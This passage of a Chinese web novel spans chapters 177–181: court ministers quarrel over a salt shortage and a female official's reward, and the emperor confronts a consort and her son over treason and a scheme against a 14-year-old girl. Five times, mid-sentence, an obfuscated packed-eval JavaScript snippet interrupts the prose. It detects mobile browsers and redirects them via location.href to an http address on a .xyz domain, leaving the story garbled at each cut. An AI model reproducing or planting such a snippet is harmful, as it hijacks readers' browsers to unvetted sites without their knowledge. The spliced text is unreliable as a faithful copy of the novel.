“滨阳王的功绩确实有目共睹,但那些以往的功绩并不能说明什么,如今这满天乱飞的流言蜚语还不能证明这一点吗?” “我看你是想死!” 胡尚书被对方逼的答不上话,尤其是看到死对头得意洋洋的脸,根本控制不住,冲上去就是狠狠一拳! “你敢打我?以为我不会还手吗?来啊!” “哎,胡兄别动手啊。还有云兄,咱别打架呀。都是一大把年纪的人了,跟那些小年轻比什么?打不得呀,打不得!哎呦,我好心劝架,你们怎么连我也打?!” “文兄你就别插手了,我看没有你他们两个也打不起来……” “好你个挑事儿精!我怎么了?我劝劝架也不行?就你是个好人,是吧?” 顿时,养身殿里吵嘴打架劝慰的声音响成一片。左相一大把年纪了,胡子头发都花白一片,这会儿还颤颤巍巍的劝架呢。看的景泰帝都担心这位老人家会不会受到波及。 见他们实在是闹得不像样,景泰帝使劲拍了拍桌子。 “好了!这要是让外面看见成什么样子?!你们都是朝中一品大员,竟然当着朕的面大打出手,还把不把朕放在眼里!” 帝王一怒,底下众人哪儿还敢撕打?一个接着一个都跪了。 看着他们悄悄你瞪我一眼,我瞪你一眼的举动,景泰帝都懒得说了,难道他们以为自己什么都看不到吗?看的一清二楚! 也不知道是不是朝中大臣太过武德充沛,像这种朝堂之上政见不和以至于大打出手的情况屡见不鲜,只不过那些都是年纪轻的小生瓜蛋子才会这么做,像他们这一大把年纪的还能打起来倒是少见。 可见这件事对大家的影响远比想象中的深刻。 等众人都安静下来,景泰帝把盐城的情况尽数说出,尤其是那些被毒药污染的盐湖盐井。当听说至少八十年之内,那些盐湖盐井都不能用,不管是谁都忍不住皱眉。 他们大景如今储存的食盐仅仅只能够全天下百姓吃一年的,就算节衣缩食,用量减半,也撑不了三年。三年以后该怎么办? 能在此刻出现的都不是傻子,这会儿想到一处去了,只是你看看我,我看看你,都不肯当那个出头鸟。 最后还是景泰帝拍板,直接点人。 “左相!你来说,现在的情况应该怎么办?” 左相年纪大了,刚刚还被迫看了一场全武行,这会儿精神头有些不济,正在悄悄打瞌睡,没想到突然被陛下点名,吓了一跳。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624640|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也算两朝老臣了,基本上不会对朝政说什么,这会儿冷不丁被点名,还是想了一会儿才想起来自己要说什么。 “陛下,如今最重要的是平息流言。滨阳王驻守盐城这些年,没有功劳也有苦劳,现在可不是问罪于他的时候。” 这说了等于没说,好在朝中大臣已经习惯左相这种敷衍式的回答,也没怎么在意。大家都知道现在最重要的是平息流言蜚语,可问题是他们真没有那么多盐。 最后还是胡尚书突然冒出来一句。 “北蛮南苗肯定有盐,要不咱去抢回来?” “不可!北蛮也就算了,咱们两边正在打仗。可南苗近些年并未与我大景动兵戈。若是贸然出兵,谁知道要打多长时间?底下的百姓已经够苦了,就不能让他们过几年太平日子吗?” “你说的倒轻巧,谁不知道能不打仗就别打仗?!可问题是,现在百姓们没有盐吃,咱们也拿不出盐,长此以往下去可怎么得了?” 事实上这几个臣子都很清楚继续这样下去的结果,若是到时候出现起义军,岂不是狠狠打景泰帝这个开国皇帝的脸吗? 只是当着陛下的面,谁也不敢把那个最坏的结果说出来,不过他们不说,难道景 泰帝自己就不知道吗? 他长叹一口气,止住了臣子们的争论。 “这样闹下去也不是办法。云湖,禁止百姓讨论有关食盐的事情,就说朝廷不会让他们没有盐吃。胡卿,探查南苗国情。如果没记错的话,前年南苗发现了一座盐湖,产量不小。若是能与他们交易食盐更好,若是不能交易,做好最坏的准备。还有李青,让你手底下的官儿再翻一遍地域志!我就不信大景疆域万里,竟然连个别的盐井都找不出来!” 几个方才还闹了不愉快的臣子立即应下,如今这种情况就是需要陛下这样的顶梁柱,若是陛下能在风雨飘摇中拿定主意,他们也就不必担忧了。 还好这种关键时刻,陛下依旧淡定如初。 第一百七十七章 臣家中有适龄儿郎 只是,这种法子只能应付得了一时,不能顶一世啊!若是被百姓知晓他们并没有足够的食盐,甚至还要因此和南苗开战,岂不是会引起更大的恐慌? 但是看陛下也没有更好的法子,如今这时局只能先稳住百姓,其他的再做解释。 接下来几位重臣和皇帝对这件事的部署进行了更详细的安排。等终于把这件事儿安排完之后,就该轮到另外一件大家不想提却不得不提的事儿了。 “陛下,这些时日,黔州新任知府已经到任,您派去的钦差也要回来了吧?” 一听到有人提起那个自己不喜欢的女官,礼部尚书就忍不住冷哼一声,身为女子不懂得温婉恭顺,竟然还叛出家门,千里迢迢跑到陌生地方。虽说做出了一定功绩,可此女的胜负意识太强,怕不是个好兆头。 “袁大人,我想问一下,你冷哼个什么冷哼?嗓子不好就赶紧回去治,别在这儿丢人现眼。真以为我不知道你在气什么?不就是你家那儿子三十多了还一事无成,科举没考出来,在你的庇护下与礼部当了个小官儿,十几年了还徘徊在五品。之前还在大庭广众之下嘲笑应大人,还说什么人家身为女子就应该乖乖待在后院,找个好婆家嫁了也就是了,非得钻到男人堆里找出路,不是个恭顺模样,日后肯定嫁不出去。不是我说,他都三十多了,年纪都能当应大人的爹,说话还如此歹毒,实在欠妥当。出门在外被人丢脏泥巴也不是什么怪事儿,人走夜路难免湿鞋,你也不必太过为他感到伤心了,毕竟你又不止这一个儿子。” “姓胡的你找事儿是不是?我儿子怎么样跟你有什么关系?” “怎么不跟我没关系?陛下在说话,你哼什么哼?分明就是在藐视陛下。” “你胡说,我没有!” “你说没有就没有了?那你儿子说人家姑娘的坏话,岂不也是无中生有?” “你!” “我怎么?难道我还说错了不成?” 景泰帝头疼的让他们两个闭嘴,总觉得今日胡爱卿的战斗力格外强啊。 好不容易止住这场纷争,众人开始有气无力的商讨该给应九阙一行人的奖赏。 说实话,他们还真不愿意让个女子骑到他们头上。毕竟自古以来官场就是男人的天下,让个女人钻进来,这成什么样子? “陛下,应县主虽为女子,却英勇果敢,黔州一行格外凶险,她却可以不顾自身安危潜入矿山,搜集证据,最终将罪魁祸首绳之以法。我看应县主劳苦功高,不如将她的爵位往上提一提?也好为宗室贵女们做个榜样。” 左相捋了捋胡子,十分慈祥。 “不瞒陛下说,老臣家中颇有几个适龄的男孩子,不说少年英才,也读书习武,明白道理。老臣年纪大了,就喜欢看些和乐团圆之事。看到现主这般优秀的女娃,总想给他们拉个媒。就是不知道老陈家里那几个小子有没有这个福分了……” 一旁原本还在愤愤不平的袁尚书顿时急了,他虽然看不上应九阙削尖了脑袋往官场上钻营的模样。可并不代表他不想要这样一个儿媳妇儿啊!尤其是他家大儿子实在没用,大儿媳也去世一年了,正是要续弦的时候。那应九阙已经叛出家门,极为叛逆,名声已经坏了,刚好可以嫁给他大儿子做续弦。 退一万步说,就算不能嫁给大儿子,他小儿子如今十七,正是可以娶妻的时候啊。若是能给自己家娶来这样一个儿媳妇儿,儿子们至少可以少奋斗二十年!这样值得买卖谁不想做?没想到左相平日里看起来温温和和,默不作声的,果然是积年老臣,一下就切中了要害。但可不能让他独美于前呀! “咳咳,其实臣家中也有个儿子,年龄与应大人相仿,也算得上郎才女貌。就是不知道应大人愿不愿意嫁给我那不成器的儿子……” “你都这么大年纪了还跟外人讨论未出阁姑娘家的婚嫁问题,害不害臊啊?幸亏是人家姑娘现在没在这儿,要是在这儿你敢这么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642705|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗你?虽说应大人已经脱离家门,可普天之下莫非王土,天下子民都是陛下的孩子。若想跟人家姑娘提亲,总得找人家父母商量,怎么也得经过陛下允许吧?没想到袁大人都这么大把年纪了,还这么不懂礼数。亏你还是礼部尚书!” 胡尚书习惯性怼了对方几句,然后毕恭毕敬的看向陛下,行了个礼。 “还请陛下做主,我家中也有适龄儿孙。当然这一切都得应大人同意,毕竟男大当婚,女大当嫁,一家有女百家求,这也不是什么丢脸的事儿。只是若贸然上门就显得不合礼数,若陛下能帮微臣提起几句就好了。” 景泰帝似笑非笑的看了他们一眼,并没有应承。 别看这些人你来我往说了这许多,胡尚书好像也站在九阙那边,可实际上,他们这么插诨打科是为了将重心偏移。以九阙的功绩,官升三品都没人会说什么。偏偏这些人现在把重心放在她的婚嫁问题上,好像给那孩子找个好人家就是对她最大的奖赏。这简直是对那孩子的侮辱! 而且就算真的将九阙嫁给他们,那也是稳赚不赔的生意。若是再厚颜无耻些的人家,完全可以将那孩子的功绩转移到自己身上。毕竟夫妻一体,妻子的不就是丈夫的? 景泰帝做了整整十三年的皇帝,若是连他们这点官司都看不出来,简直白活了。 于是他面带笑意的摆了摆手。 “这朕可不能应承,毕竟朕答应过那孩子,许她婚嫁自由。而且今日叫你们来也不是为了商量那孩子的婚事,还是都说说吧。等九阙归来,该给什么官位才能筹答她这一路的辛劳。” 那孩子…… 这话语中的亲切之意溢于言表,几个重臣面面相觑,都有些嫉妒。 他们这些老臣想得到陛下这般亲近信任都极为难得,偏偏一个小丫头片子就这么轻而易举的做到了,怪不得朝中那些愣头青们整日参应九阙个没完,这换成他们,也控制不住心里这一丝丝的嫉妒之意呀。 第一百七十八章 暗戳戳告状 不过听陛下这意思是一定要给那应九阙升官了。虽说这几位大臣不一定愿意,可能做到如今这位置,心胸没有那么狭窄。更何况陛下已经决定了,他们就算反对又能怎么样?还不如此时顺着陛下的意思,君臣和乐。 “不如让她官升两品?” “那是巡城御史的官儿,他是不是做不成了?有些可惜呀,自从应大人做了巡城御史之后,整个京城的风气焕然一新。那些个淘气小子们出门在外也安分许多。” 那些纨绔们要是知道自家亲爹亲爷爷这么讨论,还不得羞愧死。再说了,他们敢不安分守己吗?要是被那个母夜叉发现,轻飘飘把他们的胳膊腿儿给打断怎么办? 虽说他们也自诩有武艺在身,可和女人打架算是什么名声?打赢了比女人强些,打不赢岂不是连个女人都比不上?更何况他们中的有些人更是亲眼目睹,那个应九阙天生神力,随随便便都能把别人的胳膊腿儿打断。他们这从小金尊玉贵养着的身子怎么能比得上那个女人? 景泰帝也有些遗憾,不过这件事儿比起九阙的未来官途来讲差远了。世上这么多人才,就不信找不到一个敢当巡城御史的官儿。 “要不让她入礼部?里边儿都是些端方君子,相信底下那些小子们对她也会以礼相待。” 熏陶的时间长了,说不定还能把那女子的性格改一改。虽说那女子的能力确实够强,可脾气确实不够温婉恭顺。能略微恭顺一些,再嫁给自家儿郎,就再好不过了。 礼部尚书想的很好,但其他各部的尚书也不是傻子呀。如果之前他们还不愿意让应九阙等女官进入自家衙门,可现在明摆着陛下要重用她,还将这样的人往外推,那不是傻子吗? 别的不说,若是自家衙门里有这么一个得到陛下信任重用,一见到就喜笑颜开的人,哪怕就是当个吉祥物敬着,日后想做什么事也会简单顺遂许多。更何况应九阙身上又不止这一个好处。于是继方才的避而不谈之后,现在大家又你来我往的争夺起来。 这就是权力的效果。 说起来也奇怪,满朝文武谁不想得到陛下信任重用。可陛下恩威四海,心思深重。别说他们这些外臣了,就算是那些皇亲国戚,甚至宗室,不过也就是些面子情,容养着罢了。 随着这些年御极天下,陛下威望日重,连皇子们在他面前都不敢放肆。在这种情况下竟有个小丫头片子能得到陛下这般重用,这要是说二人没什么关系才奇怪吧?!只是比起以往那些绯色猜测,现在大家更侧重于,应九阙是陛下遗落在外的明珠。要不然陛下怎么会如此信重? 嘶,说起来应九阙确实是应重鸣将军的女儿,没错吧?如此说来,那位林大人头上的颜色…… 咦!不敢说,不敢说。陛下怎么会犯错呢? 就是林大人有点儿可怜,以前娶个妻子比他还厉害,官位比他还高也就算了,居然连女儿也不是自己的。真是男人中的可怜虫啊! 总之,大家商量来商量去,最终也没商量出来个令景泰帝满意的结果。几个老臣无非是想将应九阙安在一个不需要接触实事,虚养着的位置。可景泰帝却想让那孩子做更多事。毕竟那孩子又不是没这个能力,平白无故放着多可惜呀,是的,在陛下眼中,不分男女,只要你有能力,就得给我干活儿。 见这几个老臣实在昏溃,连个官位都商量不出来,景泰帝也没了跟他们说话的意思。挥挥手就让他们退下,只是陈尚书离开之前犹犹豫豫的,明显是有话想跟陛下说。景泰帝权当不知,果然等这群人走之后不久,九福就来传报,说陈尚书有事要找陛下商议。 “说吧,有什么事要问朕。” 陈尚书小心翼翼的看着陛下的脸色,有些问不出来。他总不能大大咧咧的问陛下接下来准备怎么处置吧? 黔州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642706|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹出来那么大动静,那些朱砂矿制成的回春丹几乎遍布朝野上下。可陛下对此的处理态度却只是冷漠?这完全不符合陛下的做事风格。说不定陛下要有更大的动作了,陈尚书和景泰帝有那么几丝拐弯抹角的血缘关系,因此平日里会更亲近一些。朝中诸位大臣虽然嘴上不说,但气氛却一日比一日古怪。陈尚书忍了好几日了,最终还是没忍住。 “陛下,这,黔州那边的臣子,您准备……” 景泰帝突然笑了笑。这一笑把陈尚书给吓得立马跪在地上,连忙请罪。 “老陈啊,朕记得你当初也是个敢说敢做的人物。现在怎么越发小心了?我看你想问的不是那几个欺上瞒下胆大包天的臣子。而是想问牵涉其中的皇子会怎么样吧?” “这,微臣不敢妄言。” 景泰帝其实并不介意底下臣子的些许小心思,毕竟这么大一个朝廷,总有人会有自己的想法,每个人都会为自己的利益考虑,这是人之常情。倒是老陈,应该和朝中仅剩的三个皇子没什么联系才是,这会儿着急忙慌,冲锋在前是做什么? 陈尚书犹豫片刻,实在有些难以启齿,最后还是有些难为情的说了出来。 “陛下,您知道,微臣有五个儿子,却只有一个老来女。因为年纪小,难免偏疼几分,养的她颇有些刁蛮任性。前几日,德妃娘娘办的游园会上 ,小女在大皇子面前有些失仪,大皇子殿下宽厚仁义,不介意她的失态,甚至愿意纳她为侧皇子妃。微臣全家都感激涕零,否则她一个失了名声的女孩子,还能找到什么好人家?不过陛下您是知道臣的,臣是个武人,家风也粗鲁些。小女从小娇生惯养,尤其是臣那老妻,疼她疼的跟眼珠子似的,想让她在家中再宽松几年。不过德妃娘娘也说了,皇嗣传承尤为紧要。微臣也是左右为难啊,不信您看,微臣的脖子上还有老七留下的指甲印儿,可是一点儿都没留手啊……” 第一百七十九章 无耻之尤 陈尚书说到伤心处,那叫一个鼻子一把泪一把,简直让人闻者伤心,见者落泪。甚至还配合着把官服领子往下拽了拽,果然,几道血红的指甲印儿跟猫抓似的,赫然陈列在陈尚书脖颈到锁骨间,看着都觉得疼。 九福悄悄看了一眼,都觉得自己的脖颈抽痛。 听说陈尚书家中极为清净,只有一位相伴近三十年的老妻,以及老妻所生育的六个子女。这年头讲究多子多福,即便如此,六个子女都是正妻所出,而且都平平安安长大,在京城也是头一份儿的。 不过以往都听说陈尚书颇为惧内,以前还不相信,如今亲眼所见,算是信了。不过那位尚书夫人的脾气也太大了,要知道陈尚书可是一部尚书,朝中重臣,场面上的人物,动辄就下手,实在有失分寸。 果然,悄悄抬眼看看陛下,陛下的脸色已经铁青。 景泰帝重重的喘了口气,挥手让陈尚书起身。这老东西哪里是在哭诉自己被家中正妻打骂,这是跑到他跟前告状来了。 “朕记得你那小女儿今年才十四岁吧。” “正是。” 陈尚书爬起来的时候还踉跄了一下,老态毕现,九福感到唏嘘的同时也很奇怪。他怎么记得这位陈尚书的年纪比陛下还要小几岁?刚刚几位大臣动手的时候,这位陈尚书老当益壮,挥起拳头来虎虎生威。怎么现在突然看起来这么老态? 景泰帝气的哭笑不得,挥了挥手,十分嫌弃。 “行了,别在朕眼前装了,知道你是什么意思。你先出宫吧,这事儿朕会给你一个满意的答复。” 陈尚书抹抹眼泪,委屈的抬头看看陛下,发现陛下同样在看自己之际,忍不住叹了口气,一切尽在不言中。虽说他也很同情陛下,可眼下自己的宝贝女儿都要陷入泥潭里了,还是先救自家人为上。至于那位皇子…… 嘿,还真以为用这种上不了台面的手段就能逼迫自己跟他站在同一条船上?那位德妃娘娘听说德行出众,温婉恭顺,向来是后宫诸位妃嫔的楷模。可前几日将自家老妻叫去说话的时候,可是一点儿情面都没留。言谈举止之中将自己的宝贝女儿贬的一无是处。还故意晾着不让老妻起来,回去之后腿疼了好几宿。把陈尚书给心疼的呀! 看看愁眉苦脸唉声叹气的老七,再看看泪流满面,惊恐不已的宝贝闺女,陈尚书一股怒火直冲上头。哪怕对方贵为皇子,用这样的手段未免太下作了。真以为他老陈是个只懂蛮力的大老粗啊。当然了,另一方面主要是因为陈尚书很信任景泰帝,他不是那种会强迫他人的人。 等陈尚书一走远,景泰帝就冷着声音吩咐。 “给我查查德妃和大皇子,这几日到底做了什么了不得的事。” 其实早在他得到证据说大皇子与黔州知府梁恒和假滨阳王勾结,甚至还和北蛮有生意往来之时,大皇子在他眼里就已经是个死人了。若只是贪图钱财也就罢了,可他千不该万不该不该把大景的经济命脉和无辜女子卖给北蛮。 他们现在正在和北蛮打仗啊,边疆战士辛辛苦苦守卫边关是为了什么?不正是为了他们身后这无数的百姓吗?他们在战场上殊死搏斗,正是为了自家妻儿子女安全。可老大身为皇子,不仅不为自家百姓着想,甚至还将他们卖给生性残忍的北蛮!那可都是我汉家女子!战乱时期,男子在外打仗,家里的一切大小事物甚至农耕都是女子负责处理。没有他们哪儿来安稳的后方,哪儿来源源不断的粮食衣服? 她们每一个都弥足珍贵,老大有什么资格把他们卖给敌人?! 更何况交易内容还有盐铁!哪怕你把回春单卖给北蛮,景泰帝也能给大皇子找个借口。 等暗卫将调查结果送上来之后,景泰帝更是暴跳如雷。 “好,好啊,真是好。不愧是朕的好儿子,好妃子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654238|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九福在一旁悄悄咽了口吐沫,他总觉得陛下现在快要气疯了。大皇子和德妃娘娘做了什么了不得的事让陛下如此气愤?不过他也不用不着猜了,因为下一刻景泰帝就勃然大怒。 “堂堂皇子,不能拉拢朝臣也就算了,还用这种隐私手段毁坏人家闺女的名声!与强抢又有何意?陈家女于五日前的宴会上落水。人家闺女是个有本事的,自个儿上来了,而且还避开外人找了房间换衣裳。那混账赶不上英雄救美,反而直接闯入人家换衣裳的房间。还装什么无辜模样?!” “若是如此也就罢了,两人明明也没发生什么,默不作声的谁会知道?第二天,整个京城的人都知道陈家女在大皇子面前失仪,被大皇子给看光了?” “我呸!这种下三滥的手段也好意思对一个十四岁的闺女用出来!真是枉为人子!我才没有这样无耻的儿子!” 怪不得老陈刚刚一副凄凄哀哀的模样,也不敢直说,拐弯抹角的真是难为他了。 老大那个蠢货,他以为在自己处理之前,拉老陈上船就能保他一命?真是愚蠢又无知。先不说这一招能不能成功,就算真成功了,难道他以为能收获一个全心全意为他考虑的外家?陈家女出身性情,容貌德行,哪一样配不上做个正妻?非得嫁给你一个快三十岁的皇子做侧室?! 还有那个德妃,往 日里装的一派正经,还真以为是个德行高洁的女人,没想到这暗地里还学会恩威并施那一套了。老陈的媳妇儿可是会武艺的,当初老陈被强盗劫路,还是老陈媳妇儿出手,三两招就把那悍匪捅死,救了全家。真不怕把人家惹恼了,一剑捅死你个混账玩意儿! 而且老陈和他媳妇儿一辈子恩恩爱爱的,从不从纳妾。五个儿子也只有一个正妻,家风清正,肯定不愿意自家宝贝闺女嫁进关系太复杂的人家。老大家中妻妾加起来都快二十个了,真有脸想出这个法子。朕都为你们感到害臊! 第一百八十章 他只是个孩子啊 本来还想着晚点儿处置老大,给他留点儿面子,现在看来,这面子也不必留了。 “把德妃和大皇子给我叫来!” 景泰帝气的连朕都不说了,九福连忙冲出去宣召。不多时,这母子二人就匆匆赶到。或许是心有预料,母子二人此刻乖巧温顺极了,上来就请罪。 景泰帝似笑非笑的看着他们。 “免了,我可受不得你们的礼。” “父皇何出此言?儿臣惶恐。” “臣妾惶恐。” “惶恐?我看你们一点儿都不惶恐,反而得意的很啊。瞧瞧满朝上下谁像你们这般有手段,不过略施小计就将陈墨拉过来,甚至还与他结秦晋之好?” 德妃与大皇子对视一眼,明白自己那点儿小算盘已经被陛下知道,深吸一口气,德妃决定先下手为强。 她笑意盈盈的开口。 “陛下,这事儿臣妾正准备向您禀告呢。您也知道,老大他年纪不小了,府中妻妾却都不争气,连个女儿都没生出来。臣妾这为人母的怎能不为之感到担忧?刚好前几日的宴会上也见过陈家女,出身容貌德行都极为出众,岂不是良配?当然,臣妾知道陈尚书夫妇对这个闺女极为疼爱,所以预备给她侧皇子妃之位,也不算辱没了那孩子。之前跟陈尚书夫人聊过这件事儿,他们也是愿意的。正想找个机会跟陛下说道说道,陛下怎么提前知道了?难道陈尚书又不肯了?” 瞧德妃这段话说的,进退有度,委婉又不失含蓄,暗地里还布了很多坑,悄悄的就给陈尚书告了几状。 若是陈默说不愿意把闺女嫁给大皇子,那不是有失承诺吗?在陛下面前的印象顿时就不好了。不得不说德妃不愧在宫中生活多年,毕竟人家入宫之前也是世家之女。这点儿宫斗水平还是有的,只可惜,她遇见的是景泰帝。 “说的真不错,听起来也很有道理。” 不等那母子二人露出惊喜的表情,景泰帝的语气急转之下。 “如果不是提前了解你们两个做了什么龌龊事儿,说不定会信以为真。” 德妃与大皇子的脸色顿时难看起来,但依旧心存侥幸。 “父皇,儿臣是真喜欢那陈家女。否则也不会给她侧妃之位,还请您明察。” “你这混账还有脸说?!陈家的姑娘今年不过十四岁,你的年纪都够当人家爹了。更何况你府中大大小小的确实还少?非得祸害人家小姑娘!” 大皇子只觉得脸上火辣辣的疼,他确实另有所图。可陈家女儿得到自己青睐不应该感到荣幸吗?难道她还不愿意?都跟自己共处一室了,名声都坏掉了,谁还会娶她? 而且十四岁怎么了?正当年华。 当然了,这些话他是不敢对着自己的皇帝爹说的,他怕景泰帝把他给打死。 “父皇,儿臣知道错了。儿臣只是情不自禁。事已至此,儿臣愿意做出补偿。” “嗯?” “等那陈家女嫁过来,儿臣愿意让她掌管府中事务,会给她相应的名分,也会让府中妻妾尊重她……” 大皇子絮絮叨叨的,完全没发现景泰帝已经闭上了眼,景泰帝真担心自己一张嘴会喷火! 真是愚不可及。以为自己是皇子就可以肆意践踏臣子了吗?人都是有脾气的,大皇子那般肆意侮辱陈默,当真以为他只是个粗莽的武夫?而且,让人家给你管府中杂事儿还有脸得意洋洋的说出来,以为这是什么好差事不成? 就你那府里大小妻妾闹得不可开交的样子,以为人家闺女愿意嫁进来管这一大烂摊子事儿啊。 再看看德妃,也是一脸认同的模样,景泰帝是真的想叹气了。怪不得老大是这么副蠢样子,原来是有个聪明相的娘在这儿站着。这种御下手段实在太过低级,不仅笼络不了臣子的心,反而会让其生出逆反心理。 君视我为草芥,我视君为敌寇。 如果上位者的所言所行无论好坏,底下人都接受。当初他们这些人为什么还要造反? “其实朕知道你为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654239|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么这么慌。” 原本还有些演戏成分的大王子这会儿是真的慌乱了,他不由自主的看了一眼德妃。见到他这没出息的模样,景泰帝更生气了。 猛然挥手将桌上的东西扫落在地,帝王发怒,周围所有人都瑟瑟发抖,尤其是心中有鬼的大皇子。德妃倒是还能稳住,给了儿子一个稍安勿躁的眼神,勉强扬起一个笑脸。 “陛下这是怎么了?有什么事儿可以跟臣妾说,不值得动这么大肝火。” 都这种时候了还想表演柔情似水那一套呢。 景泰帝冷笑一声。 “本想给你留些颜面,可如今看来,你似乎也不需要朕的宽容……黔州盐城之事,你参与了多少?!” 图穷匕见,这下就连德妃都忍不住冷汗直流,但还是强撑着为自己儿子脱罪。 “陛下,大皇子还只是个孩子啊,您又何必苛责于他?这都是底下那些官员的过错,跟他又有什么关系?这孩子从小在你我跟前长,大,这十几年来连京城都没出去过,他能懂得什么?无非是底下那些官员见缝插针的送上供奉以求庇护,这孩子心善就收了。臣妾能够保证这孩子绝对没有做任 何违法乱纪之事,不信的话您大可以查。” 景泰帝冷冷的盯着对方,看到德妃依旧是淡定的脸,景泰帝只觉得一阵厌烦,他以前是怎么觉得这女人虽然容貌不算绝美,但德行出众的? 还有那个被戳破坏事儿只懂得向母亲求助的窝囊废儿子,以前是怎么认为他事必躬亲极为孝顺的? 果然,朕的眼睛出问题了。 “你们两个如今能如此淡定,大概是以为派去杀人灭口的人顺利得手了吧?” 在这对母子陡然变化的脸色中,景泰迪悠然开口。 “螳螂捕蝉黄雀在后,你们以为自己算无遗策,动动手就能将那些人证物证毁掉,殊不知人家早就防着你们这一手,给自己留下了保命的东西,那可都是实打实的证据。不过现在这些东西都归朕所有了。” 第一百八十一章 这又没什么羞耻的 “陛下!陛下,您听臣妾解释。这一切不是您想象的那个样子……” “好啊,解释吧,朕听着。” 德妃反倒被狠狠噎了一下,整理了片刻思绪,声泪俱下的表演。 “陛下您身居高位,君临四海,哪里知道我和皇儿心中的苦楚?皇儿可是您最大的儿子,有嫡立嫡,无嫡立长!身为皇长子,他难道不该去争那个位子?他难道不配?” “他当然可以去争那个位置。” 出乎意料的,景泰帝给了肯定的答复,然而还不等德妃露出笑意,景泰帝接下来的话就把她打击的七零八碎。 “不仅是他,我所有的儿子都有这个资格,毕竟他们此生身为皇子,为什么不去争至高之位?我所生气的也不是他有这个想法,而是他用错了办法!普天之下莫非王土,率土之滨莫非王臣。他是我景家儿郎,不管怎么争,这个天下都是姓景的!天下所有百姓都是他的子民。可他呢?他有没有把天下百姓放在心里?你也是个女人,那些被掳走,被卖到北蛮的女子会有什么遭遇你难道不清楚?这个畜生!竟然花着卖子女的钱,还花的这么心安理得,理直气壮!” “陛下,大皇子他真的不知情啊,他只是出于惯例接受底下人的供奉罢了,不信的话你去查!其他皇子也有这样的收入……” “但是没像他一样花着天下百姓的血汗钱!” 景泰帝猛然一拍桌子,这张桌子今日真是多灾多难,不知被景泰帝拍了多少下,但能放到养身殿的桌子材质肯定不一般,这会儿依旧坚挺。 “你以为他们接受底下人供奉的事儿,我不知道?朕只是不在意罢了,因为这都是正常的手段。可他千不该万不该,不该坐歪了屁股!大景如今正在和北蛮开战,他身为皇子,被天下百姓供养,哪怕不能身先士卒,冲锋在前,也不能躺在百姓的血肉上,还嫌弃他们卖不了多少钱。你知道我看到那账本的一瞬间有多不可置信吗?我多希望那是一本假的账册,但那上面你的名字写的清清楚楚,明明白白。这些年单是这一项不法收入,你至少拿了五百万两!这些钱你花着不觉难受吗?” 大皇子此刻瑟瑟发抖。他一直都很怕这个父皇。毕竟景泰帝是从战场上杀出来的帝王,平日里积威甚重,见识过父皇挥斥方遒,一举手一抬足就杀人于无形的模样,大王子这会儿连反驳的话都说不出口。 看到他这没出息的样子,景泰帝更是生气,平日里总是听臣子们说大皇子仁德,这也算个不错的品质。毕竟像他这样杀伐甚重的帝王有一个也就够了,多来几个百姓要吃不消。若是下一任帝王能让百姓休养生息,日渐繁荣,也是天下百姓之福。 万万没想到,竟是个如此扶不起的主。 想到这里,景泰帝就觉得悲哀。想他也算戎马一生,从个乡间小子到如今君临天下,这条路他走了几十年。虽然艰辛,但他依旧走下来了。不是他自夸,日后史书上必有他浓墨重彩的一笔。可谁曾想到,自己的几个儿子竟然一个比一个不成器,先是老三,现在是老大,以后不会是老二和老四吧?一想到那样的未来,景泰帝觉得眼前都一片黑暗。 